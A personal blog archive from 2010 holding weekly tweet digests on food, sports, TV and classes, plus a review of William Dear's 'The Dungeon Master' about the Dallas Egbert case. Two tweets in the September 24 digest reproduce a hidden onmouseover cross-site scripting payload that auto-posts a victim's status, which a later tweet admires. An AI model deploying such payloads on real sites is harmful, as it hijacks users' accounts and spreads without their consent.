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tweets for the week 2010-09-24

by zach @ . September 24, 2010 . 3:59AM

  • Ate diner food now adventures. #
  • At the new compusa (tigerdirect) and it is, I must admit, pretty awesome. #
  • THE LARGEST PLAYPLACE IN THE WORLD #
  • Soo full. #
  • Sure of a lot of ponds in the witness protection program as lakes in Orlando. #
  • I read a middle-school book about the Franco-Prussian War on my flight home. You know, because. It was published back in the 1950s. #
  • The Texans just used a Time Out to defer losing to Washington. If they go on and win they'll be geniuses. #
  • Damn it I walked into the second act of police street theatre and don't know who the hero is. #
  • There is a dude crowbaring the door to Club Ozz under the el station at Girard. #
  • Cutting up now-forgotten cold war traitors and putting them on my iPhone. #
  • Go Steve Weibe! #
  • http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/ #
  • http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/ #
  • Damned nice cross-site scripting attack, yo. #
  • Wow, my job is work today. #
  • Doing Graphics(blah) in Java. #
  • I am so close to inbox zero I can taste it. And it is delicious. #
  • I thought it was just me: http://bit.ly/91EVFG #
  • So close to taking a breather this week! #amexhausted #
  • Two sets are EQUAL : they have the same elements. the elements being repeated doesn't effect equality. Nor does chest hair. #
  • People will understand Venn DIagram jokes better after this class. #
  • Damn Christians make World-Wide currency impossible although it would be cooler than hell. #
  • Having one of my twice weekly code angsts #
Filed under: Packing Peanuts |
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[Review] The Dungeon Master by William Dear

by Zacharias @ http://inexactitu.de . September 19, 2010 . 9:19PM

A little background before the review proper: When I was a child, my mother had a campaign of “saving” me from Dungeons and Dragons. Since I was somewhat fated to enjoy the devil’s foreplay, I managed to get my hands on books much worse (The Mission Earth series comes to mind) and I am a D&D player and fan today. When I found about this quiet campaign of hers, she quoted the media backlash against Dungeons and Dragons that happened “a year or two before you were born” as the reason.

As I was born in the early 1980′s I wasn’t alive when Dallas Egbert went missing in August 1979. The story of his disappearance, and the wild theories that followed were based around his playing a LARP (Live Action Role-playing) version of D&D in the nine miles of unguarded and unmonitored tunnels that ran beneath the campus of MSU. Egbert was a genius, in the pure sense of the word, and was sixteen years old at the time of his disappearance.

“The Dungeon Master” is the 1984 book written by the flamboyant Texas-based private eye hired by Dallas’ parents. As this book was a single-serving social issue book that was subsequently never reprinted and ignored in lieu of the “cautionary tale” Mazes and Monsters, book, then movie with a damned-loose interpretation of the case, was released in 1982.

As who-done-it cases go, William Dear does a pretty thorough job of describing his process, albeit with some obligatory run-troughs of his super-cool gear. Many twist and turn lead investigators through many fruitless avenues and literal dead-end tunnels abound. The movie, and even the Newsweek review of the book printed on the back cover want to make so much hay of Dear trying a game of Dungeons and Dragons – either I must be totally desensitized to the idea of make-believe or again, the media looks for the best angle of attack. What happened to Dallas Egbert between his rescue and his tragic death is perhaps the least fleshed-out portion of the story and the most interesting.

By the end of this case, it becomes obvious that the boogey-man isn’t D&D, or role-playing; especially in the seen-through-the-minivan-windshield portrayal of it that William Dear gives us. Instead, it was the lack of support for a too-young person going to a large, impersonal university, drugs, and the hands-off, high-pressure treatment of gifted individuals. (Dear gets credit from me for posing this issue early and often)

Let us say for a moment that Egbert’s disappearance was due to his role-playing compulsion or addiction. Adult and child alike are known to descend into fantasy when reality becomes too much. The causes of these compulsions or fantasies aren’t to be blamed on the fantasy, but instead of a person unable to deal with the reality they’ve been placed in. I can’t blame the underclassmen that LARPed with Egbert for not seeing this as a mental illness, or at least a pressure valve stuck on “release” – the media is not the message. Novels didn’t destroy Victorian England, television didn’t destroy the children of the 1960s, and the Beatles didn’t cause the Manson murders. How much would of an enlightened mentor providing emotional support would have helped Egbert, an odd child with hardly any social skills? A lot more than D&D, and the drugs that Egbert used, thats for sure.

Filed under: "Real" Blogging,Commentary,Reviews |
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tweets for the week 2010-09-18

by zach @ . September 18, 2010 . 4:59AM

  • I dont even remember the last time I called out for a cheesesteak but I sure as hell just did. #
  • Reading Greenwood's Elminister trilogy, now on the third installment. Pretty good so far. #
  • Damn, baseball and football going on simultaneously. My tv tuner card is barely holding on by his pci-e slot. #
  • Jesus christ robocop is going to be in Dexter? http://en.wikipedia.org/wiki/Dexter_(TV_series) #
  • @jdotames will having JULIA STILES in 10 episodes make you feel a little better about it? #
  • @jdotames dude, did you WATCH 10 things I hate about you OR JUST SEE IT? #
  • Another Detroit robbery. #notnews #
  • @CrashburnAlley Eagles' o-line cannot see men who look like Thor – this may be a key weakness. #
  • Football & Mad Men, then Venture Brothers. Jesus, I'm trying to finish this book today. #
  • @dana_zucchini a nice office, as well. #
  • @dana_zucchini actually yeah I don't like it when my girlfriend has a bad day. in reply to dana_zucchini #
  • new venture bros #joy #
  • Seems to be a trend in tech reporting lately: http://bit.ly/cjRgmU #
  • Oh super Zach way to forget your laptop power cord. Its not like you are a computer professional or anything. #
  • Prepositional logic sucks where (I am a student) =TRUE ^ (class is in session) = TRUE #
  • Someone is djing the corner for no discernible reason #broadandgirardihateyou #
  • @jdotames no, he's not the mobile karaoke king of Frankford. #
  • Best scene in the Departed happens at eighty minutes. And in other news, I lost about 1.2TB of TV shows today. #
  • Everywhere I look the last couple days, I'm looking at Dr. Cox doing his 90's film thing (first, Office Space, secondly, The Rock) #
Filed under: Packing Peanuts |
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tweets for the week 2010-09-04

by zach @ . September 4, 2010 . 4:59AM

Filed under: Packing Peanuts |
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